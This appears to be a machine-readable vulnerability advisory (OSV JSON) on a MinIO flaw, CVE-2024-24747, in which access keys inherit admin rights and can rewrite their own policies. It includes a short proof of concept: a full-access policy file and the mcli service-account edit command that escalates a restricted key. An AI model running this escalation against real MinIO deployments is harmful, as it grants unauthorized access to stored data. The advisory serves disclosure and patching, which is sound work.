{"id":"JLSEC-2026-1830","summary":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation","details":"### Summary\n\nWhen someone creates an access key, it inherits the permissions of the parent key. Not only for\n`s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the\naccess-key hierarchy, the `admin` rights are denied, access keys will be able to simply\noverride their own `s3` permissions to something more permissive.\n\nCredit to @xSke for sort of accidentally discovering this. I only understood the implications.\n\n### Details / PoC\n\nWe spun up the latest version of minio in a docker container and signed in to the admin UI\nusing the minio root user. We created two buckets, `public` and `private` and created an\naccess key called `mycat` and attached the following policy to only allow access to the\nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n  {\n   \"Effect\": \"Allow\",\n   \"Action\": [\n    \"s3:*\"\n   ],\n   \"Resource\": [\n    \"arn:aws:s3:::public\",\n    \"arn:aws:s3:::public/*\"\n   ]\n  }\n ]\n}\n```\n\nWe then set an alias in mc:  `mcli alias set vuln http://localhost:9001 mycat mycatiscute`\n\nAnd checked whether policy works:\n\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:*\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::*\"\n      ]\n    }\n  ]\n}\n```\n\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n\n`mycat` has escalated its privileges to get access to the entire deployment:\n\n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B private/\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\n### Impact\n\nA trivial privilege escalation unless the operator fully understands that they need to\nexplicitly deny `admin` actions on access keys.\n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -\u003e master, origin/master)\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Jan 31 10:56:45 2024 -0800\n\n    fix: permission checks for editing access keys (#18928)\n    \n    With this change, only a user with `UpdateServiceAccountAdminAction`\n    permission is able to edit access keys.\n    \n    We would like to let a user edit their own access keys, however the\n    feature needs to be re-designed for better security and integration with\n    external systems like AD/LDAP and OpenID.\n    \n    This change prevents privilege escalation via service accounts.\n```","modified":"2026-12-02T14:58:35.601670438Z","published":"2026-12-02T14:32:56.182Z","upstream":["CVE-2024-24747","EUVD-2024-0775","GHSA-xx8w-mq23-29g4"],"database_specific":{"license":"CC-BY-4.0","sources":[{"database_specific":{"status":"Modified"},"affected":{"minio:minio":["= 2024-01-31t20-20-33z"]},"id":"CVE-2024-24747","imported":"2026-11-21T06:09:08.444Z","modified":"2026-06-17T07:14:46.697Z","published":"2024-01-31T22:15:54.813Z","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2024-24747","html_url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24747"},{"published":"2024-02-01T19:21:30Z","url":"https://api.github.com/advisories/GHSA-xx8w-mq23-29g4","html_url":"https://github.com/advisories/GHSA-xx8w-mq23-29g4","id":"GHSA-xx8w-mq23-29g4","imported":"2026-11-21T06:10:19.290Z","modified":"2024-02-01T22:52:19Z"},{"id":"EUVD-2024-0775","imported":"2026-11-21T06:09:09.685Z","modified":"2024-08-01T23:28:11Z","published":"2024-01-31T22:10:23Z","url":"https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2024-0775","html_url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-0775","affected":{"minio:minio":["\u003c RELEASE.2024-01-31T20-20-33Z"]}}]},"references":[{"type":"WEB","url":"https://github.com/advisories/GHSA-xx8w-mq23-29g4"},{"type":"WEB","url":"https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776"},{"type":"WEB","url":"https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z"},{"type":"WEB","url":"https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24747"}],"affected":[{"package":{"name":"minio_jll","ecosystem":"Julia","purl":"pkg:julia/minio_jll?uuid=ad83bbfc-c153-533a-bb97-700a7db721e0"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0+0"}]}],"database_specific":{"source":"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-1830.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD"}],"credits":[{"name":"xSke","contact":["https://github.com/xSke"],"type":"FINDER"},{"name":"donatello","contact":["https://github.com/donatello"],"type":"REMEDIATION_DEVELOPER"},{"name":"niklas-jansen","contact":["https://github.com/niklas-jansen"],"type":"REPORTER"}]}